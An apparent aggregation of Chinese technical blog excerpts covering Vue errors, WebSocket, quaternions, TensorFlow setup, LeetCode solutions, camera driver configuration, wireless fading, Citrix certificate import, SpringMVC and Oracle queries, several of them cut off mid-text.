报错:[Vue warn]: Error in render: "TypeError: data.reduce is not a function"详解 查看报错信息:[ Vue warn]: Error in render: "TypeError: data.reduce is not a function 问题分析:本文用的是elementUI框架的el-table组件来开发的。于是可能是在赋值value赋值上的问题,从这可以看出是在StaffManagement.vue这个文件夹下216行之后报的错。于是查看代码: 发现这儿有一个赋值操作,下面有一个调用函数的操作,于是我看了上下文,发现这儿的赋值操作有误,给tableData赋值为空,并且下面调用的函数getOrderInfo1(),函数名写错了。所以vue报上面的错误 问题总结: 出现这种错误很可能是对data里面的值存在错误的赋值才会导致这种报错,或者是调用的函数不存在导致这种错误,所以请仔细查看自己的代码,通过查看报错信息来解决。

高等数学学习笔记——第六十讲——向量值函数的导数与积分

1. 问题引入 2. 向量值函数(二维向量值函数、三维向量值函数) 3. 向量值函数的极限及连续性 4. 向量值函数的可导性(向量值函数的导数、切向量、切线、法平面、光滑曲线) 5. 向量值函数的物理意义(运动速度、速率、加速度) 6. 向量值函数的求导法则 7. 向量值函数的不定积分 8. 向量值函数的定积分

Websocket原理

文章目录 1.websocket简单介绍2. 为什么要用websocket3. websocket的自带演示例子4. 简单websocket连接5. 用webSocket实现一个简单的聊天室6. 用webSocket实现贪吃蛇 1.websocket简单介绍 WebSocket 是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议。WebSocket 使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。在 WebSocket API 中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创建持久性的连接,并进行双向数据传输。在 WebSocket API 中,浏览器和服务器只需要做一个握手的动作,然后,浏览器和服务器之间就形成了一条快速通道。两者之间就直接可以数据互相传送。 重点:1.全双工,客户端与服务端可以同时相互通信,就如同打电话一样,两边可以同时说话。 2.允许服务端主动向客户端发数据,在以往的通信中是客户端向服务端发送请求,服务端再回复给客户端,一切起源只能是客户端的request,服务端无法主动发送信息给客户端;在websocket中,则可以服务端主动给客户端发送信息。 3.持久性,当服务端跟客户端通信连接成功(即建立起一个管道),这个管道将会一直存在,随时可以传送数据,无需在request。 若没有说清楚,请再参考下面的文章,说的比较通俗易懂。 https://www.jianshu.com/p/d5c1f704fbc5 2. 为什么要用websocket 初次接触 WebSocket 的人,都会问同样的问题:我们已经有了 HTTP 协议,为什么还需要另一个协议?它能带来什么好处?答案很简单,因为 HTTP 协议有一个缺陷:通信只能由客户端发起。举例来说,我们想了解今天的天气,只能是客户端向服务器发出请求,服务器返回查询结果。HTTP 协议做不到服务器主动向客户端推送信息。 3. websocket的自带演示例子 现在演示下websocket自带的example 先启动Tomcat。 在Tomcat文件下bin文件里面,找到startup.bat 双击点击启动。 启动成功后,在浏览器中输入http://localhost:8080/,进入下面的界面。 点击example并且选着WebSocket Examples 4. 解释下(例子是从简单到难): Echo example :简单的连接发送信息。 Chat example :聊天系统室。 Multiplayer snake example :多人对抗贪吃蛇 Multiplayer drawboard example:多人画布(同步的) 例子的参考代码是自带的,在tomcat文件夹内 1.class包 E:\apache-tomcat 9\apache-tomcat-9.0.22\webapps\examples\WEB-INF\classes\websocket 2.xhtml E:\apache-tomcat 9\apache-tomcat-9.0.22\webapps\examples\websocket ExamplesConfig.java 是websocket连接的配置文件 4.

四元数

四元数的基本概念 四元数是简单的超复数。 复数是由实数加上虚数单位 i 组成,其中i^2 = -1。 相似地,四元数都是由实数加上三个虚数单位 i、j、k 组成,每个四元数都是 1、i、j 和 k 的线性组合,即是四元数一般可表示为a + bi+ cj + dk,其中a、b、c 、d是实数。 运算关系如下: i^2 = j^2 = k^2 = -1, i^0 = j^0 = k^0 = 1,ij=k,ji=-k,jk=i,kj=-i,ki=j、ik=-j 四元数的模:(a^2+b^2+c^2+d^2)的平方根。 四元数与旋转 四元数可以表达物体绕任意向量轴的旋转,并且和欧拉角度旋转与旋转矩阵的方法相比,其效率更高,操作也更灵活。 四元数的i、j、k的旋转几何意义如下:i旋转代表X轴与Y轴相交平面中X轴正向向Y轴正向的旋转,j旋转代表Z轴与X轴相交平面中Z轴正向向X轴正向的旋转,k旋转代表Y轴与Z轴相交平面中Y轴正向向Z轴正向的旋转,-i、-j、-k分别代表i、j、k旋转的反向旋转。 欧拉旋转需要计算3个旋转分量的作用之和,如下图(a),即沿Z轴的航线(Heading)角度,沿X轴的俯仰(Pitch)角度,以及沿Y轴的横滚(Roll)角度;而四元数只需要对旋转轴V和旋转角度进行设置,如下图(b)。 四元数旋转与欧拉旋转的对应关系:Heading角度与i旋转对应,Roll角度与j旋转对应,Pitch角度与k旋转对应 我们下面使用q = ((x, y, z),w) = (v, w),其中v是向量,w是实数,这样的式子来表示一个四元数。 首先,定义一个旋转轴为向量v=(vx, vy, vz),旋转角度为θ(右手法则的旋转);然后即可计算得到一个四元数q: 四元数的叠加效果: 定义四元数q1:旋转轴为v1,旋转角度为θ1;定义四元数q2:旋转轴为v2,旋转角度为θ2;定义四元数q3:旋转轴为v3,旋转角度为θ3;则旋转叠加效果为q,其中q=q1*q2*q3。 四元数的运算 定义两个四元数: 四元数加法:p + q 跟复数、向量和矩阵一样,两个四元数之和需要将不同的元素加起来。 加法遵循实数和复数的所有交换律和结合律。 四元数乘法:pq 两个四元数之间的非可换乘积通常被格拉斯曼(Hermann Grassmann)称为积,它的完整型态是︰ 由于四元数乘法的非可换性,pq并不等于qp。格拉斯曼积常用在描述许多其他代数函数。qp乘积的向量部分是: 四元数点积: p · q 点积也叫做欧几里德内积,四元数的点积等同于一个四维向量的点积。点积的值是p中每个元素的数值与q中相应元素的数值的乘积的和。这是四元数之间的可换积,并返回一个标量。

最新Win10+Anaconda+TensorFlow+OpenCV安装教程

目录 最新Win10+Anaconda+TensorFlow+OpenCV前言安装AnacondaAnaconda中创新虚拟环境虚拟环境中直接添加TensorFlow、OpenCV等。Jupyter NoteBook中安装成功测试。 最新Win10+Anaconda+TensorFlow+OpenCV 前言 网上关于Anaconda+TensorFlow的安装介绍五花八门,十分凌乱。且大多是17-19年5月的安装介绍,清华源之类的貌似都不可用了。我昨日摸索了一下午,为大家带来最容易的方法: 官网安装Anaconda:https://www.anaconda.com/distribution/#download-sectionAnaconda中创新虚拟环境虚拟环境中直接添加TensorFlow、OpenCV等。 安装Anaconda 进入官网,根据自己的情况选择下载,我这里是下载Win10下的64位版本,新版的Anaconda已经支持Python3.7了。整个安装过程全部直接下一步便可。 Anaconda中创新虚拟环境 在创新虚拟环境前,不得不探讨的一个问题,就是“清华源”目前到底能否正常使用?反正我添加了清华源,创建虚拟环境,添加包的时候会报错。所以我建议直接使用默认的Channel,值得注意的是,默认源要配合FQ软件使用,才能添加各种包。(实在没有FQ路子的话,可以留下邮箱给我) 如下图点击Environments,再点击Create创建虚拟环境。 虚拟环境中直接添加TensorFlow、OpenCV等。 看自己想用最新的TensorFlow2.0还是TensorFlow1.14(两者API有些不同),如果用最新的TensorFlow2.0的话,Python这可以选择Python3.7,不然的话建议选择Python3.6。我想用TensorFlow1.14版本,所以我这里选择Python3.6来创建虚拟环境。 点击进入自己创建的虚拟环境,然后先选中“ALL”,再到右边的搜索框中搜索自己所需要的包。我这里以“TensorFlow”为例,搜索到之后,点击Apply即可。这里可能大家会发现,搜索到的包都是最新的版本,比如我们搜索“TensorFlow”,出来的都是TensorFlow2.0,可我想要TensorFlow1.14怎么办?没事,鼠标右击TensorFlow2.0前面的勾选框,然后会有版本选择安装。 Jupyter NoteBook中安装成功测试。 如图所示,说明在Anaconda下安装的TensorFlow1.14和OpenCV3.4.2成功啦!

LeetCode Task29. 加油站

文章目录 题目解答代码思路结果 题目 134. 加油站 在一条环路上有 N 个加油站,其中第 i 个加油站有汽油 gas[i] 升。 你有一辆油箱容量无限的的汽车,从第 i 个加油站开往第 i+1 个加油站需要消耗汽油 cost[i] 升。你从其中的一个加油站出发,开始时油箱为空。 如果你可以绕环路行驶一周,则返回出发时加油站的编号,否则返回 -1。 说明: 如果题目有解,该答案即为唯一答案。 输入数组均为非空数组,且长度相同。 输入数组中的元素均为非负数。 解答 代码 class Solution(object): def canCompleteCircuit(self, gas, cost): """ :type gas: List[int] :type cost: List[int] :rtype: int """ w=len(gas) for i in range(w): if gas[i]<cost[i]: continue mark=i j=mark save=0 for k in range(w): save=save+gas[j]-cost[j] if save<0: break if save>=0 and (j+1)%w==mark: return mark j=(j+1)%w return -1 思路 有点近似暴力法

pytorch torchvision.datasets.CIFAR10 读入的数据集的数据类型

train_dataset = torchvision.datasets.CIFAR10(root='data/',train=True,transform=transforms,download=True) data,label = train_dataset[0] print(data) print(data.dtype) print(train_dataset.data[0]) print(trainset.data[0].dtype) train_dataset[0]返回的数据类型为torch.float32,transform后的数据; train_dataset.data[0]返回的数据类型为uint8,transform后的数据。

MT6580 Android N camera调试

MT6580 Android N camera调试 1.硬件原理2.平台配置3.kernel配置3.1config配置3.2 dts3.3driver code3.4 闪光的控制 4.hal配置4.1camera配置4.2闪光的效果调试 5.Android层配置6.DEBUG6.1成像方向的修改6.2 成像效果调试6.3压力测试概率黑屏卡死等问题6.4前置 camera 没有搭配闪光灯,如何关闭闪光灯图标6.5打开 EIS 录像变暗6.6关闭闪光灯白平衡以改良拍照效果6.7修改闪光灯阀值 1.硬件原理 如下图所示,以后单摄为例: 备注:camera的上电部分很重要,要分清楚几路上电的电压,理解上电时序控制。比如对于格科微的camera芯片来说,有些是1.8V,有些是1.2V。这个调试上电时序的时候要和FAE咨询清楚,不然会导致一些不可预测的后果,比如画面绿屏等。 2.平台配置 alps/device/zechin/zechin6580_we_m$ vim ProjectConfig.mk 添加 HAL and KERNEL 摄像头驱动模组 CUSTOM_HAL_IMGSENSOR = gc8024mipi_raw gc5005_mipi_raw gc2365_mipi_raw gc030amipi_raw CUSTOM_HAL_MAIN_IMGSENSOR = gc8024mipi_raw gc5005_mipi_raw CUSTOM_HAL_SUB_IMGSENSOR = gc2365_mipi_raw gc030amipi_raw CUSTOM_KERNEL_IMGSENSOR= gc8024mipi_raw gc5005_mipi_raw gc2365_mipi_raw gc030amipi_raw CUSTOM_KERNEL_MAIN_IMGSENSOR = gc8024mipi_raw gc5005_mipi_raw CUSTOM_KERNEL_SUB_IMGSENSOR = gc2365_mipi_raw gc030amipi_raw CUSTOM_HAL_FLASHLIGHT = constant_flashlight 3.kernel配置 3.1config配置 alps/kernel-3.18/arch/arm/configs$ vim zechin6580_we_m_debug_defconfig alps/kernel-3.18/arch/arm/configs$ vim zechin6580_we_m_defconfig CONFIG_CUSTOM_KERNEL_IMGSENSOR="gc8024mipi_raw gc5005_mipi_raw gc2365_mipi_raw gc030amipi_raw" CONFIG_CUSTOM_KERNEL_FLASHLIGHT="

无线通信信道的衰落特性(大尺度衰落和小尺度衰落)

一、为什么会有衰落 相比于有线信道来说,无线信道较为恶劣:移动台既可以处于城市建筑群之间,也可以处于山川、森林和海洋等地形复杂的区域,且由于移动台的移动性,无线电波的衰落特性就更为复杂,具有很大的随机性。无线电波除了直射外,每遇到一个障碍物,就会根据自己的波长和障碍物的相对大小的不同从而发生反射、绕射、散射,这都会对无线电波的能量有一定的损耗,从而造成信号产生了衰落。 简单一句话,就是信号在实际信道中传播的时候会遇到很多的坎坷(树木、建筑物、高山等),每一个坎坷都会对信号本身的小心灵造成一定的损伤。 二、衰落的分类 衰落的分类是根据移动台移动的距离和无线电波波长的大小关系来进行划分的 根据接收信号场强变化的区间大小,无线电波可以分为大尺度衰落、中尺度衰落和小尺度衰落。这里的区间大小的意思就是我们所观察的移动台移动的距离和信号本身波长的关系,也就是要看这个区间总共包含了多少个波长。 2.1大尺度衰落 大尺度衰落是描述发射机和接收机长距离(数百或数千米,肯定好多波长了) 或长时间范围内上的信号场强的变化。 2.2 中尺度衰落 中尺度衰落通常用来描述发射机和接收机中等距离(数百波长)范围内的信号场强的变化。 2.3 小尺度衰落 小尺度衰落描述的是小尺度区间(数个或数十个波长) 或短时间(秒级)内的信号场强的快速变化情况。也就是当移动台移动一个较小距离时,接收信号在短期内的快速波动,这个很短的一段距离必须是和该信号的波长是一个量级的。 一般而言,无线电波衰落也可以划分为大尺度衰落和小尺度衰落,而中尺度衰落被认为是大尺度衰落的一种。 接下来就仔细再说一下大尺度衰落和小尺度衰落。 三、大尺度衰落 大尺度衰落包括路径损耗和阴影衰落两种类型。 3.1 路径损耗 路径损耗指在基站和移动台之间的传播环境中引入的损耗量。它具有幂定律的传播特征,即信号电平与距离长度增加的某些幂成反比例变化,与收发天线的方向性等参数无关,仅与传输路径有关,路径越长,路径损耗就越大。平均路径损耗指在一段距离内路径损耗的均值,通常可以用对数距离路径损耗模型来表示。 3.2 阴影衰落 无线电波在传播路径上遇到起伏地形、建筑物和树木等障碍物的阻挡,在障碍物的后面会形成电波的阴影区。阴影区的信号场强较弱,当移动台在运动中穿过阴影区时,就会造成接收信号场强中值的缓慢变化,通常把这种现象称为阴影效应。已证实阴影衰落的统计规律近似服从对数正态分布。 由于阴影衰落是叠加在路径损耗之上的,且阴影衰落服从对数正态分布,因此,对于距离发射机特定距离的某一点的路径损耗来说,也是一个服从正态分布的随机变量。 四、小尺度衰落(极为重要!!!) 4.1 是什么造成了小尺度衰落 4.1.1 多径传播(多径效应) 由于电波传播过程中会有各种各样的反射、散射和绕射,入射电波从不同方向传播,具有不同的传播时延,这就导致到达移动台的信号是由许多路径的电波合成的。这些具有随机分布幅度、相位和入射角度的多径成分被接收机天线按向量合并成幅度和相位都急剧变化的信号,使得接收信号产生衰落失真,这种有多径传播引起的衰落称为多经衰落,属于小尺度衰落。 举一个极端的例子,假如只有两个路径的单频正弦信号到达接收端,而如果两个路径接收到的正弦信号正好相差半个波长(也就是相位相差180°),那么接收端进行合成之后,两路信号就会正好抵消了,就直接为0了,这就是多径传播带来的后果。(当然这只是一个很极端的例子,现实中没有这么可怕) 4.1.2 移动台的运动速度(多普勒效应) 基站和移动台的相对运动导致多径成分产生不同的多普勒频移,从而引起随机频率调制。 4.1.3 环境物体的运动速度(多普勒效应) 如果无线信道中的物体处于运动状态,就会引起时变的多普勒频移。若环境物体以大于移动台的速度运动,那么这种运动将对小尺度衰落起决定性的作用。否则,可以仅考虑移动台运动速度的影响,而忽略环境物体运动速度的影响。 4.1.4 信号的传输带宽 如果无线信号的传输带宽大于多径信道带宽,接收信号将会失真,但是本地接收机信号强度不会衰落很多(即小尺度衰落不占主导地位)。相对于有线信道来说,若传输信号为窄带信号,则信号幅度会快速变化,但是信号不会出现时间失真。 4.2 小尺度衰落的特征参数 4.2.1 时延扩展与相关带宽 接收信号由多个可分辨的独立多径信号组成,造成了接收信号持续时间比该信号发送时的持续时间长(因为某些路径长的,那么它的到达接收机的时间就会比较长),造成了时域上的时间色散,用时延扩展来衡量;在频域上反映为频率选择性衰落,用相干带宽衡量。 (1)时延扩展:最后到达接收机的信号与最先到达接收机的信号之间的时间差。 (2)相干带宽:约等于时延扩展的倒数,但是在一般的情况下,要确定多径信道对某一特定信号的精确影响,需要用到频谱分析技术与仿真。当两个频率分量的频率间隔小于相干带宽时,它们具有很强的幅度相关性。 4.2.2 多普勒扩展与相干时间 信道的时变特性是由移动台与基站之间的相对运动引起的,或是由信道路径中物体的运动引起的,其本质是多个不可分辨路径的叠加造成时域信号的波动。时变特性决定了信道的频率色散,相干时间和多普勒扩展是描述这两个特性(时变特性和频率色散)的重要参数。 (1)多普勒扩展:多普勒扩展是频率展宽的测量值,定义为单一频率正弦波(未被调制的载波)传输时的频谱带宽。对接收信号的影响是传输信号频率的多普勒扩展,而不是最大的多普勒频移,如果基带信号的带宽远远大于多普勒扩展,那么接收端就可以忽略多普勒扩展的影响。(多普勒频移是频率的瞬时变化值,是一个频率值,而多普勒扩展是一个频率范围) (2)相干时间:信道的相干时间是一个时间量度,用于时域描述信道频率色散的时变特性。相干时间可以简单地认为约等于最大多普勒频移的倒数。 在这个期望的持续时间上,信道对信号的响应基本是时不变的,即在此间隔内,两个到达信号有很强的的幅度相关性(我们在上面的相干带宽中也提到了很强的幅度相关性)。 4.3 小尺度衰落的分类 小尺度衰落的类型取决于发送信号的特性(信号带宽和符号周期)和信道特性(时延扩展和多普勒扩展)。信号参数和信道参数之间的关系决定了不同的发送信号会经历不同的衰落特性。根据信道的时延扩展,可以把信道分为平坦衰落信道和频率选择性衰落信道;根据信道的多普勒扩展,可以把信道分为快衰落信道和慢衰落信道。 4.3.1 基于多径时延扩展的衰落效应 多径特性引起的时间色散使得接收端收到许多不同时延的脉冲组成的信号。对应于频域,信道对发送信号进行了滤波,信号中不同频率的分量衰落幅度不一样,从而导致了发送信号产生平坦衰落和频率选择性衰落。 (1)平坦衰落:如果移动无线信道带宽大于发送信号的带宽,且在带宽范围内有恒定增益和线性相位,则接收信号就会经历平坦衰落。在平坦衰落的情形下,信道的多径结构使发送信号的频谱特性在接收机处保持不变。但由于多径效应结构导致信道增益的起伏,使接收信号的强度会随时间变化。典型的平坦衰落信道可导致深度衰落,因此在深度衰落期间常需要增加一定的发送功率。 (2)频率选择性衰落:若信道具有恒定增益且线性相位的带宽范围小于发送信号带宽,则该信道特性会导致接收信号产生频率选择性衰落。在频率选择性衰落的情况下,信道冲激响应具有多经时延扩展,其值大于发送信号周期。此时接收信号中包含经历了衰减和时延的发送信号波形的多径波,因而接收信号产生失真,从而引起符号间干扰(ISI)。 当信号的带宽小于相干带宽时,就可以认为信号所有的频率分量都是同时增大或减小,这样就不会造成失真。当信号的带宽大于信道的相干带宽时,那么信号中有些频率和其他频率就不会同时增大或同时减小,就会出现有些频率分量被增强了,而有些频率分量被削弱了,这就是频率选择性衰落,这就会造成失真。 4.3.2 基于多普勒扩展的衰落效应 由于移动台与基站之间的相对运动,或是由于信道路径中物体的运动,多普勒扩展得以产生,引起信道随时间的变化,从而产生信道的时变特性(时间选择性)。根据发送信号与信道变化快慢程度的比较,信道可分为快衰落信道和慢衰落信道。 (1)快衰落:当信道的相干时间比发送信号的周期短,且基带信号的带宽小于多普勒扩展时,信道冲激响应在符号周期内变化很快,从而导致信号产生快衰落。从频域上可看出,由快衰落引起的信号失真随发送信号带宽的多普勒扩展的增加而加剧。

通过证书管理解决"无法连接 Citrix XenApp SSL 61 您还未选择信任证书颁发者"的问题

最近在使用Citrix Receiver连接的时候,发生了"无法连接,Citrix Receiver (XenApp) SSL 61 您还未选择信任证书颁发者…"的问题。通过证书管理功能从导入证书解决了这个问题。 问题现象和分析 首先,现象在这个帖子有描述 https://tieba.baidu.com/p/5726814088 无法连接服务器。请联系您的系统管理员并提供一下错误: SSL 错误 61: 您还未选择信任服务器的安全证书颁发者 “XX CA”。 这是因为系统在使用Citrix SSL通道通信时,服务器提供的证书未在Citrix Receiver客户端注册,导致连接无法建立。 知道问题就比较容易解决了。先找到这个证书,可以找管理员要,也可以从其他有证书的地方导出一个来。 Windows下证书管理 在Windows上,选择开始菜单在查找/运行框中(也可以用Windows键+R键打开运行框),输入mmc命令回车。 选择菜单的文件->添加/删除管理单元(M)… 在左侧可用管理单元中选择“证书”,点"添加"按钮 选"计算机账户"点“下一步”按钮 选择"本地计算机"点"完成"按钮 点击"确认"按钮 这时就初始化好了证书的控制台。 我们的证书一般在中级证书颁发机构下的证书中 可以选择上面报错中提示的名字,比如这个Root Agency,我们在导出的计算机上双击打开它打开"证书路径"Tab看一下有效性。如果正常,会显示“该证书没问题。” 选择证书按右键菜单选择所有任务->导出或从操作栏选择导出 选择一个证书格式,如二进制,再选择一个文件名保存好。 在另一台机器上,用同样的方式导入。 需要注意的是,导入时仅有证书机构本身是不够的。需要颁发者也要相应地导出和导入。 所以,用同样的方式,查找目标证书的颁发者。比如“受信任的根证书颁发机构”下的“证书”可以找到。 需要也要保证相应的机构证书也导出并导入运行Citrix Receiver的计算机。 此时,就可以看到报错的那个中级证书颁发机构的证书状态已经是“证书没有问题”这个状态了。 详细可以参考这个步骤 https://24x7itconnection.com/2015/03/10/you-can-fix-it-yes-you-can-citrix-xenapp-ssl-error-61/ 。 微软官方的说明在这里,不过比较难读。 https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc754841(v=ws.11)?redirectedfrom=MSDN Linux下证书管理 如果是Linux版的Citrix Receiver,可以参考以下文章,借助Firefox找到相应证书导出成pem,再用OpenSSL转换成crt,最后放到Citrix Receiver的ICAClient下keystore的cacerts https://www.cnblogs.com/kozmers/p/12346751.html /opt/Citrix/ICAClient/keystore/cacerts$ sudo openssl x509 -in GlobalSignRootCA.crt -out GlobalSignRootCA.pem sudo cp ~/tmp/cert/GlobalSignRootCA.crt /opt/Citrix/ICAClient/keystore/cacerts/

托普利茨矩阵

如果一个矩阵的每一方向由左上到右下的对角线上具有相同元素,那么这个矩阵是托普利茨矩阵。 给定一个 M x N 的矩阵,当且仅当它是托普利茨矩阵时返回 True。 示例 1: 输入: matrix = [ [1,2,3,4], [5,1,2,3], [9,5,1,2] ] 输出: True 解释: 在上述矩阵中, 其对角线为: “[9]”, “[5, 5]”, “[1, 1, 1]”, “[2, 2, 2]”, “[3, 3]”, “[4]”。 各条对角线上的所有元素均相同, 因此答案是True。 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/toeplitz-matrix 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。 分析: 遍历矩阵,若元素左上邻居有元素则判断是否与其相等,不相等就判断不是,直到跳出循环判断为是。 class Solution { public boolean isToeplitzMatrix(int[][] matrix) { for (int row = 0; row < matrix.length; ++row) { for (int col = 0; col < matrix[0].length; ++col) { if (row > 0 && col > 0 && matrix[row][col] !

通信系统的带宽和频率分析

参考:https://zhuanlan.zhihu.com/p/54139916 本文是对樊昌信和曹丽娜老师所著的《通信原理》中关于带宽内容的整理,在学习本书过程中,由于基带带宽、带通传输带宽、码元速率 、波特率 [公式] 和码元周期 [公式] 这几个概念有着密切的关联,所以我们难免会有所混淆。本文通过模拟调制、数字基带传输、数字带通传输和新型数字带通调制四个板块,首先让我们对于基带 [公式] 通带、模拟 [公式] 数字这两组观念有清晰的了解,然后需要我们结合书本内容对每个带宽的求解进行理解。 本文大多数情况可以由图形来理解,不需要细致推导。 先验知识: 码元速率 [公式] 、波特率 [公式] 和码元周期 [公式]的关系:码元速率 [公式] ,波特率 [公式] 。因此,本文中码元速率 [公式] 都可用波特率 [公式] 来表示。 一、模拟调制 1)AM: [公式] , [公式] 是基带信号带宽 2)DSB: [公式] 3)SSB: [公式] 4)VSB: [公式] 5)FM: [公式] , [公式] 为调频系数 二、数字基带传输 数字基带传输是将模拟信号采样量化成数字序列,选定一种基带信号波形(单双极性,NRZ/RZ),进而将数字序列逐一映射为该波形的几个可选取值(二进制可选为1&0或1&-1)。由于是基带传输,所以没有一定频率的载波。衡量基带信号带宽 [公式] (也可理解为主瓣宽度,图示)是基于码元周期 [公式] 或码元速率 [公式] 。注意由于是随机信号(分析模拟调制时通常认为传输的是确知信号),此处的谱为功率谱。 数字基带信号: 1)单极性NRZ: [公式] 2)单极性RZ: [公式] 3)双极性NRZ: [公式] 4)双极性RZ: [公式] 上述数字基带信号的详细推导这里省略,但是具有解释性。NRZ信号和模拟信号一样,所以会有[公式]。而RZ信号相当于模拟信号在时域上只保留50%的占空比([公式]不变,脉冲宽度从[公式]变为[公式]),由时频域对偶,RZ的带宽是NRZ的两倍。极性不影响带宽。 注意:模拟情况下,我们所知的是确知信号时域周期 [公式] ,因此认为 [公式] ,而带宽 [公式]。在数字情况下,我们所知的是随即信号的码元周期 [公式] ,而数字基带信号的带宽 [公式] 与 [公式] 不一定相等,可能会有系数2的存在。当我们把模拟的 [公式] 对应为数字基带信号的脉冲持续时间 [公式] 时,则 [公式] 是成立的。这提醒我们在分析数字基带传输带宽时,不能简单认为模拟那一套 [公式] 直接适用,需要判断数字基带信号类型。对于数字带通调制,由于常用NRZ充当键控,所以该问题不存在。

SpringMVC 图文详解(一)

文章目录 一、SpringMVC概述1.1、什么是三层架构1.2、什么是MVC1.3、什么是SpringMVC1.3.1、SpringMVC工作流程图1.3.2、SpringMVC架构图 二、 SpringMVC入门案例2.1、环境准备2.2、案例编写2.3、@RequestMapping注解 三、请求参数绑定3.1、请求参数绑定基本类型3.2、请求参数绑定实体类型3.3、解决中文乱码的过滤器3.4、请求参数绑定集合类型3.5、自定义类型转换器3.6、获取Servlet原生API 四、常用注解4.1、@ResquestParam4.2、@RequestBody4.3、REST风格URL4.4、@PathVaribale4.5、@RequestHeader4.6、@CookieValue4.7、@ModelAttribute4.8、@SessionAttribute 一、SpringMVC概述 开发架构一般都是基于两种形式:一种是C/S架构,也就是客户端/服务器,另一种是B/S架构,也就是浏览器服务器。 在JavaEE开发中,几乎全都是基于B/S架构的开发。那么在B/S架构中,系统标准的三层架构包括:表现层、业务层、持久层。 1.1、什么是三层架构 其中每一层都分工明确: 表现层:负责接收客户端请求,向客户端响应结果,负责与用户进行交互。表现层的设计一般都使用MVC模型 业务层:主要是针对不同请求业务逻辑的处理,也可理解为对数据业务逻辑处理。 持久层:主要是对非原始数据(数据库或者文本文件等存放数据的形式)的操作层,也就是说是对数据库,而不是对数据的操作,具体为业务逻辑层或用户界面层提供数据服务。 常用的基于三层开发架构的框架有: SSH: Struct(表示层) + Spring(业务层) + Hibernate(持久层) SSM: SpringMVC(表示层) + Spring(业务层) + MyBatis(持久层) 如上图 面试题:Struts2 和 StringMVC的区别? (1)Struts2是类级别的拦截, 一个类对应一个request上下文,SpringMVC是方法级别的拦截,一个方法对应一个request上下文,因此容易实现Restful API; (2)Struts2是多例的,每次请求都创建一个Action,类属性被方法共享,而SpringMVC是单例的,只有一个实例,方法之间变量不共享; (3)Struts2的核心控制器是Filter,SpringMVC的核心控制器是Servlet; (4)拦截器方面,Struts2有自己的interceptor机制,SpringMVC用的是独立的AOP方式; (5)SpringMVC是Spring的一个模块,项目管理和安全性比Struts2好,配置文件少,并且集成了Ajax,处理ajax请求,直接通过返回数据,方法中使用注解@ResponseBody,能自动将对象转换为JSON数据。 1.2、什么是MVC MVC是一个架构,或者说是一个设计模式,它就是强制性使应用程序的输入,处理和输出分开。将一个应用程序分为三个部分:Model,View,Controller Model 模型: 完成业务逻辑:由javaBean构成,在MVC的三个部件中,模型拥有最多的处理任务。 View 视图: 负责跟用户交互的界面。一般就是由HTML,css元素组成的界面。 在视图层里没有真正的处理发生,只负责数据输出。MVC能为应用程序处理很多不同的视图。 Controller 控制器: 接收请求—>调用模型—>根据结果派发页面并经过模型处理返回相应数据 注:所有的表现层框架都是基于MVC开发的。例如SpringMVC和Strtus(Strtus、Strtus2) 1.3、什么是SpringMVC 我们通常所说的Spring指的是Spring Framework。而Spring Framework也只是Spring家族中的一个分支而已。 在 Spring 的基本架构中,Spring Web MVC 也就是 SpringMVC,它是属于Spring基本架构里面的一个组成部分,属于SpringFrameWork的后续产品,已经融合在Spring Web Flow里面,所以我们在后期和 Spring 进行整合的时候,几乎不需要别的什么配置。 SpringMVC又是基于mvc模式开发,在SpringMVC模块中,将MVC的分工划分为多个组件来完成,以此来提高MVC的执行效率: DispatcherServlet:前端控制器 用户请求到达前端控制器,它就相当于mvc模式中的c,dispatcherServlet是整个流程控制的中心,由它调用其它组件处理用户的请求,dispatcherServlet的存在降低了组件之间的耦合性。

LeetCode Task28. 跳跃游戏

文章目录 题目解答代码思路结果 题目 55. 跳跃游戏 解答 代码 class Solution(object): def canJump(self, nums): """ :type nums: List[int] :rtype: bool """ a,b=0,len(nums) for i in range(b): if a>=b-1: return True if nums[i]==0 and a<=i: return False if a<nums[i]+i: a=nums[i]+i 思路 用一个 for 循环遍历数组中所有位置 用 a 检索最远跳跃距离 if ③: 当 a 小于 i 位置的跳跃范围时,则将 a 更换成 i 位置的跳跃范围(这样最远跳跃距离便能得以更新,直到能达到数组长度) if ①: 当 a 大于等于数组的长度时便表示能成功跳跃 if ②: 当遍历到有 0 的位置,且最远距离刚刚达到或还未达到此位置时则无法继续跳跃 结果 O(n)

Oracle-----复杂查询的习题案例(详细分析过程)

上一篇👉:Oracle-----having、select、from子句使用子查询 总目录👉震惊!史上最菜的Oracle 11g教程(大佬勿进) 文章目录 1、复杂查询习题案例1.1 列出薪金高于在部门编号为30工作的所有员工姓名和薪金、部门名称、部门人数1.2 列出与"SCOTT"从事相同工作的所有员工及部门名称,部门人数,领导姓名1.3 列出薪金比"SMITH"或"ALLEN"多的所有员工的编号、姓名、部门名称、其领导姓名,部门人数、平均工资、最高及最低工资1.4 列出受雇日期早于其直接上级的所有员工的编号、姓名、部门名称、部门位置、部门人数1.5 列出所有"CLERK"(办事员)的姓名及其部门名称,部门人数,工资等级 🚴大家好!我是近视的脚踏实地,这篇文章主要是来讲解5个复杂查询的详细解题思路 唯有行动 才能解除你所有的不安 1、复杂查询习题案例 1.1 列出薪金高于在部门编号为30工作的所有员工姓名和薪金、部门名称、部门人数 范例1: 列出薪金高于在部门编号为30工作的所有员工姓名和薪金、部门名称、部门人数 ※ 确定要使用的数据表: emp表:员工姓名和薪金 dept表:部门名称 emp表:统计出部门人数 ※ 确定已知的关联字段: 员工与部门:emp.deptno = dept.deptno。 第一步: 找到30部门所有雇员的薪金 select sal from emp where deptno = 30; 第二步: 以上查询返回的是多行单列的数据,那么子查询肯定是在where子句中出现的,然后此时就可以使用三种判断符判断:in、any、all。那么根据要求发现找到的是所以员工,使用">all"。 select e.ename,e.sal from emp e where e.sal >all( select sal from emp where deptno = 30); 第三步: 要找到部门的信息,自然在from子句之后引入dept表,而后要消除笛卡尔积。用内连接 select e.ename,e.sal,d.dname from emp e,dept d where e.sal >all( select sal from emp where deptno = 30) and e.

Spring事务UnexpectedRollbackException异常抛出原因深度分析及解决方案

